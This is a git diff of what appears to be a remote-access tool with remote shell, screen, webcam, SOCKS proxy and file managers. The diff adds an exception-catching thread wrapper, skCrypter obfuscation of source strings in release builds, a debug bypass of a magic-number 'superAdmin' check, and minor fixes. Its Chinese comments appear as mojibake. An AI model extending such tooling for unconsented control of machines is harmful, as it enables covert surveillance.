return 0xDEAD0001; // <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD>״̬
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ͨ<><CDA8><EFBFBD>쳣<EFBFBD><ECB3A3>װ<EFBFBD><D7B0><EFBFBD><EFBFBD>
|
||||||
|
DWORD WINAPI ThreadWrapper(LPVOID lpParam) {
|
||||||
|
RoutineInfo *ri = (RoutineInfo *)lpParam;
|
||||||
|
ri->tid = GetCurrentThreadId();
|
||||||
|
RoutineInfo pRealThreadFunc = *ri;
|
||||||
|
delete ri;
|
||||||
|
|
||||||
|
if (pRealThreadFunc.Trace)
|
||||||
|
{
|
||||||
|
CAutoLog Log(pRealThreadFunc.Name.c_str());
|
||||||
|
// <20>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD>
|
||||||
|
return HandleSEHException(pRealThreadFunc);
|
||||||
|
}
|
||||||
|
// <20>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD>
|
||||||
|
return HandleSEHException(pRealThreadFunc);
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD>̵߳<DFB3><CCB5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͺ<EFBFBD><CDBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
HANDLE CreateSafeThread(const char*file, int line, const char* fname, OnException excep, LPVOID user, SIZE_T dwStackSize,
|
||||||
|
LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId) {
|
||||||
|
|
||||||
|
if (excep) assert(user); // <20>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ͳ<EFBFBD><CDB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬʱ<CDAC>ṩ
|
||||||
|
if (excep && !user) {
|
||||||
|
Mprintf("[ERROR] <20>ṩ<EFBFBD><E1B9A9><EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> user Ϊ NULL, <20>ܾ<EFBFBD><DCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>[%s:%d]!\n", file, line);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
auto ri = new RoutineInfo{ 0, lpStartAddress, lpParameter, excep, user, file ? file : "", line, fname, dwStackSize == 0 };
|
||||||
|
|
||||||
|
HANDLE hThread = ::CreateThread(NULL, dwStackSize, ThreadWrapper, ri, dwCreationFlags, lpThreadId);
|
||||||
|
if (!hThread) {
|
||||||
|
Mprintf("[ERROR] <20><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD>GetLastError=%lu [%s:%d]\n", GetLastError(), file, line);
|
||||||
|
delete ri;
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
return hThread;
|
||||||
|
}
|
||||||
17
client/SafeThread.h
Normal file
17
client/SafeThread.h
Normal file
@@ -0,0 +1,17 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "common/skCrypter.h"
|
||||||
|
|
||||||
|
typedef DWORD (*OnException)(LPVOID user, LPVOID param);
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
|
||||||
|
HANDLE CreateSafeThread(const char* file, int line, const char* fname, OnException excep, LPVOID user, SIZE_T dwStackSize,
|
||||||
|
LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
|
||||||
|
|
||||||
|
#if USING_SAFETHRED
|
||||||
|
#define __CreateThread(p1,p2,p3,p4,p5,p6) CreateSafeThread(skCrypt(__FILE__),__LINE__,skCrypt(#p3),p1,p2,0,p3,p4,p5,p6)
|
||||||
|
#define __CreateSmallThread(p1,p2,p3,p4,p5,p6,p7) CreateSafeThread(skCrypt(__FILE__),__LINE__,skCrypt(#p4),p1,p2,p3,p4,p5,p6,p7)
|
||||||
|
#else
|
||||||
|
#define __CreateThread(p1,p2,p3,p4,p5,p6) CreateThread(nullptr,0,p3,p4,p5,p6)
|
||||||
|
#define __CreateSmallThread(p1,p2,p3,p4,p5,p6,p7) CreateThread(nullptr,p3,p4,p5,p6,p7)
|
||||||
|
#endif
|
||||||
@@ -59,7 +59,7 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan
|
|||||||
m_rclickPoint = {};
|
m_rclickPoint = {};
|
||||||
m_rclickWnd = nullptr;
|
m_rclickWnd = nullptr;
|
||||||
|
|
||||||
m_hWorkThread = CreateThread(NULL,0, WorkThreadProc,this,0,NULL);
|
m_hWorkThread = __CreateThread(NULL,0, WorkThreadProc,this,0,NULL);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -106,7 +106,8 @@ bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) {
|
|||||||
szDirectoryName,
|
szDirectoryName,
|
||||||
&sInfo,
|
&sInfo,
|
||||||
&pInfo);
|
&pInfo);
|
||||||
|
CloseHandle(pInfo.hProcess);
|
||||||
|
CloseHandle(pInfo.hThread);
|
||||||
TCHAR* pszError = NULL;
|
TCHAR* pszError = NULL;
|
||||||
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
|
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
|
||||||
NULL, GetLastError(), 0, reinterpret_cast<LPTSTR>(&pszError), 0, NULL);
|
NULL, GetLastError(), 0, reinterpret_cast<LPTSTR>(&pszError), 0, NULL);
|
||||||
|
|||||||
@@ -101,7 +101,7 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag
|
|||||||
|
|
||||||
WaitForDialogOpen();
|
WaitForDialogOpen();
|
||||||
|
|
||||||
m_hThreadRead = CreateThread(NULL, 0, ReadPipeThread, (LPVOID)this, 0, NULL);
|
m_hThreadRead = __CreateThread(NULL, 0, ReadPipeThread, (LPVOID)this, 0, NULL);
|
||||||
}
|
}
|
||||||
|
|
||||||
DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
|
DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
|
||||||
|
|||||||
@@ -24,8 +24,13 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
#endif // _MSC_VER > 1000
|
#endif // _MSC_VER > 1000
|
||||||
|
|
||||||
|
#ifdef _DEBUG
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>й©<D0B9><C2A9><EFBFBD>谲װVLD<4C><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD>ʹ<EFBFBD><CDB4><EFBFBD>
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>й©<D0B9><C2A9><EFBFBD>谲װVLD<4C><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD>ʹ<EFBFBD><CDB4><EFBFBD>
|
||||||
#include "vld.h"
|
#include "vld.h"
|
||||||
|
#define USING_SAFETHRED 0
|
||||||
|
#else
|
||||||
|
#define USING_SAFETHRED 1
|
||||||
|
#endif
|
||||||
|
|
||||||
// Insert your headers here
|
// Insert your headers here
|
||||||
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
|
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
|
||||||
|
|||||||
@@ -22,7 +22,7 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CMan
|
|||||||
m_CapVideo.Open(0,0); // <20><><EFBFBD><EFBFBD>
|
m_CapVideo.Open(0,0); // <20><><EFBFBD><EFBFBD>
|
||||||
lpBuffer = NULL;
|
lpBuffer = NULL;
|
||||||
|
|
||||||
m_hWorkThread = CreateThread(NULL, 0, WorkThread, this, 0, NULL);
|
m_hWorkThread = __CreateThread(NULL, 0, WorkThread, this, 0, NULL);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -190,6 +190,7 @@
|
|||||||
<ClCompile Include="proxy\ProxyManager.cpp" />
|
<ClCompile Include="proxy\ProxyManager.cpp" />
|
||||||
<ClCompile Include="RegisterManager.cpp" />
|
<ClCompile Include="RegisterManager.cpp" />
|
||||||
<ClCompile Include="RegisterOperation.cpp" />
|
<ClCompile Include="RegisterOperation.cpp" />
|
||||||
|
<ClCompile Include="SafeThread.cpp" />
|
||||||
<ClCompile Include="ScreenManager.cpp" />
|
<ClCompile Include="ScreenManager.cpp" />
|
||||||
<ClCompile Include="ScreenSpy.cpp" />
|
<ClCompile Include="ScreenSpy.cpp" />
|
||||||
<ClCompile Include="ServicesManager.cpp" />
|
<ClCompile Include="ServicesManager.cpp" />
|
||||||
@@ -223,6 +224,7 @@
|
|||||||
<ClInclude Include="RegisterManager.h" />
|
<ClInclude Include="RegisterManager.h" />
|
||||||
<ClInclude Include="RegisterOperation.h" />
|
<ClInclude Include="RegisterOperation.h" />
|
||||||
<ClInclude Include="resource.h" />
|
<ClInclude Include="resource.h" />
|
||||||
|
<ClInclude Include="SafeThread.h" />
|
||||||
<ClInclude Include="ScreenManager.h" />
|
<ClInclude Include="ScreenManager.h" />
|
||||||
<ClInclude Include="ScreenSpy.h" />
|
<ClInclude Include="ScreenSpy.h" />
|
||||||
<ClInclude Include="ServicesManager.h" />
|
<ClInclude Include="ServicesManager.h" />
|
||||||
|
|||||||
@@ -79,7 +79,7 @@ void CProxyManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
|
|||||||
arg.pThis = this;
|
arg.pThis = this;
|
||||||
arg.lpBuffer = lpBuffer;
|
arg.lpBuffer = lpBuffer;
|
||||||
AddThread(1);
|
AddThread(1);
|
||||||
CloseHandle((HANDLE)CreateThread(NULL, 0, SocksThread, (LPVOID)&arg, 0, NULL));
|
CloseHandle((HANDLE)__CreateThread(NULL, 0, SocksThread, (LPVOID)&arg, 0, NULL));
|
||||||
while (arg.lpBuffer)
|
while (arg.lpBuffer)
|
||||||
Sleep(2);
|
Sleep(2);
|
||||||
}
|
}
|
||||||
@@ -90,7 +90,7 @@ void CProxyManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
|
|||||||
arg.lpBuffer = lpBuffer;
|
arg.lpBuffer = lpBuffer;
|
||||||
arg.len = nSize;
|
arg.len = nSize;
|
||||||
AddThread(1);
|
AddThread(1);
|
||||||
CloseHandle((HANDLE)CreateThread(NULL, 0, SocksThreadhostname, (LPVOID)&arg, 0, NULL));
|
CloseHandle((HANDLE)__CreateThread(NULL, 0, SocksThreadhostname, (LPVOID)&arg, 0, NULL));
|
||||||
while (arg.lpBuffer)
|
while (arg.lpBuffer)
|
||||||
Sleep(2);
|
Sleep(2);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -593,7 +593,11 @@ public:
|
|||||||
superAdmin = std::strtoull(buf, NULL, 16);
|
superAdmin = std::strtoull(buf, NULL, 16);
|
||||||
}
|
}
|
||||||
int GetHeaderEncType() const {
|
int GetHeaderEncType() const {
|
||||||
|
#ifdef _DEBUG
|
||||||
|
return iHeaderEnc;
|
||||||
|
#else
|
||||||
return superAdmin == 7057226198541618915 ? iHeaderEnc : 0;
|
return superAdmin == 7057226198541618915 ? iHeaderEnc : 0;
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
int FlagLen() const {
|
int FlagLen() const {
|
||||||
return strlen(szFlag);
|
return strlen(szFlag);
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
#include "commands.h"
|
#include "header.h"
|
||||||
|
|
||||||
// 数据包协议封装格式
|
// 数据包协议封装格式
|
||||||
// Copy left: 962914132@qq.com & ChatGPT
|
// Copy left: 962914132@qq.com & ChatGPT
|
||||||
|
|||||||
@@ -242,7 +242,6 @@
|
|||||||
<None Include="res\Cur\MutiDrag.cur" />
|
<None Include="res\Cur\MutiDrag.cur" />
|
||||||
<None Include="res\dword.ico" />
|
<None Include="res\dword.ico" />
|
||||||
<None Include="res\file.ico" />
|
<None Include="res\file.ico" />
|
||||||
<None Include="res\icon1.ico" />
|
|
||||||
<None Include="res\My2015Remote.rc2" />
|
<None Include="res\My2015Remote.rc2" />
|
||||||
<None Include="res\pc.ico" />
|
<None Include="res\pc.ico" />
|
||||||
<None Include="res\string.ico" />
|
<None Include="res\string.ico" />
|
||||||
@@ -382,7 +381,6 @@
|
|||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<Image Include="res\Bitmap\authorize.bmp" />
|
<Image Include="res\Bitmap\authorize.bmp" />
|
||||||
<Image Include="res\Bitmap\DrawingBoard.bmp" />
|
|
||||||
<Image Include="res\Bitmap\DxgiDesktop.bmp" />
|
<Image Include="res\Bitmap\DxgiDesktop.bmp" />
|
||||||
<Image Include="res\Bitmap\GrayDesktop.bmp" />
|
<Image Include="res\Bitmap\GrayDesktop.bmp" />
|
||||||
<Image Include="res\Bitmap\note.bmp" />
|
<Image Include="res\Bitmap\note.bmp" />
|
||||||
@@ -404,12 +402,10 @@
|
|||||||
<Image Include="res\file\Icon_E.ico" />
|
<Image Include="res\file\Icon_E.ico" />
|
||||||
<Image Include="res\file\Icon_F.ico" />
|
<Image Include="res\file\Icon_F.ico" />
|
||||||
<Image Include="res\file\Icon_G.ico" />
|
<Image Include="res\file\Icon_G.ico" />
|
||||||
<Image Include="res\icon2.ico" />
|
|
||||||
<Image Include="res\keyboard.ico" />
|
<Image Include="res\keyboard.ico" />
|
||||||
<Image Include="res\machine.ico" />
|
<Image Include="res\machine.ico" />
|
||||||
<Image Include="res\password.ico" />
|
<Image Include="res\password.ico" />
|
||||||
<Image Include="res\proxifler.ico" />
|
<Image Include="res\proxifler.ico" />
|
||||||
<Image Include="res\proxy.ico" />
|
|
||||||
<Image Include="res\screen.ico" />
|
<Image Include="res\screen.ico" />
|
||||||
<Image Include="res\system.ico" />
|
<Image Include="res\system.ico" />
|
||||||
<Image Include="res\toolbar1.bmp" />
|
<Image Include="res\toolbar1.bmp" />
|
||||||
|
|||||||
@@ -131,12 +131,10 @@
|
|||||||
<Image Include="res\chat.ico" />
|
<Image Include="res\chat.ico" />
|
||||||
<Image Include="res\decrypt.ico" />
|
<Image Include="res\decrypt.ico" />
|
||||||
<Image Include="res\delete.bmp" />
|
<Image Include="res\delete.bmp" />
|
||||||
<Image Include="res\icon2.ico" />
|
|
||||||
<Image Include="res\keyboard.ico" />
|
<Image Include="res\keyboard.ico" />
|
||||||
<Image Include="res\machine.ico" />
|
<Image Include="res\machine.ico" />
|
||||||
<Image Include="res\password.ico" />
|
<Image Include="res\password.ico" />
|
||||||
<Image Include="res\proxifler.ico" />
|
<Image Include="res\proxifler.ico" />
|
||||||
<Image Include="res\proxy.ico" />
|
|
||||||
<Image Include="res\screen.ico" />
|
<Image Include="res\screen.ico" />
|
||||||
<Image Include="res\system.ico" />
|
<Image Include="res\system.ico" />
|
||||||
<Image Include="res\toolbar1.bmp" />
|
<Image Include="res\toolbar1.bmp" />
|
||||||
@@ -150,7 +148,6 @@
|
|||||||
<Image Include="res\file\Icon_E.ico" />
|
<Image Include="res\file\Icon_E.ico" />
|
||||||
<Image Include="res\file\Icon_F.ico" />
|
<Image Include="res\file\Icon_F.ico" />
|
||||||
<Image Include="res\file\Icon_G.ico" />
|
<Image Include="res\file\Icon_G.ico" />
|
||||||
<Image Include="res\Bitmap\DrawingBoard.bmp" />
|
|
||||||
<Image Include="res\DrawingBoard.ico" />
|
<Image Include="res\DrawingBoard.ico" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
@@ -180,7 +177,6 @@
|
|||||||
<None Include="res\Cur\MutiDrag.cur" />
|
<None Include="res\Cur\MutiDrag.cur" />
|
||||||
<None Include="res\dword.ico" />
|
<None Include="res\dword.ico" />
|
||||||
<None Include="res\file.ico" />
|
<None Include="res\file.ico" />
|
||||||
<None Include="res\icon1.ico" />
|
|
||||||
<None Include="res\My2015Remote.rc2" />
|
<None Include="res\My2015Remote.rc2" />
|
||||||
<None Include="res\pc.ico" />
|
<None Include="res\pc.ico" />
|
||||||
<None Include="res\string.ico" />
|
<None Include="res\string.ico" />
|
||||||
|
|||||||
@@ -845,7 +845,7 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE* pbBuffer, DWORD dwBufferLen)
|
|||||||
int iicon = GetIconIndex(pszFileName, nType);
|
int iicon = GetIconIndex(pszFileName, nType);
|
||||||
nItem = m_list_remote.InsertItem(nItemIndex++, pszFileName, iicon);
|
nItem = m_list_remote.InsertItem(nItemIndex++, pszFileName, iicon);
|
||||||
m_list_remote.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY);
|
m_list_remote.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY);
|
||||||
SHFILEINFO sfi;
|
SHFILEINFO sfi = {};
|
||||||
SHGetFileInfo(pszFileName, FILE_ATTRIBUTE_NORMAL | nType, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
|
SHGetFileInfo(pszFileName, FILE_ATTRIBUTE_NORMAL | nType, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
|
||||||
m_list_remote.SetItemText(nItem, 2, sfi.szTypeName);
|
m_list_remote.SetItemText(nItem, 2, sfi.szTypeName);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -717,7 +717,7 @@ void CMachineDlg::ShowHostsList()
|
|||||||
|
|
||||||
LPBYTE lpBuffer = (LPBYTE)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1));
|
LPBYTE lpBuffer = (LPBYTE)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1));
|
||||||
int i = 0;
|
int i = 0;
|
||||||
char* buf;
|
char* buf=nullptr;
|
||||||
char* lpString = (char*)lpBuffer;
|
char* lpString = (char*)lpBuffer;
|
||||||
const char* d = "\n";
|
const char* d = "\n";
|
||||||
char* p = strtok_s(lpString, d, &buf);
|
char* p = strtok_s(lpString, d, &buf);
|
||||||
@@ -1658,7 +1658,7 @@ void CMachineDlg::ShowHostsList_menu()
|
|||||||
|
|
||||||
DeleteList();
|
DeleteList();
|
||||||
int i = 0;
|
int i = 0;
|
||||||
char* buf;
|
char* buf=nullptr;
|
||||||
char* lpString = (char*)lpBuffer;
|
char* lpString = (char*)lpBuffer;
|
||||||
const char* d = "\n";
|
const char* d = "\n";
|
||||||
char* p = strtok_s(lpString, d, &buf);
|
char* p = strtok_s(lpString, d, &buf);
|
||||||
|
|||||||
Reference in New Issue
Block a user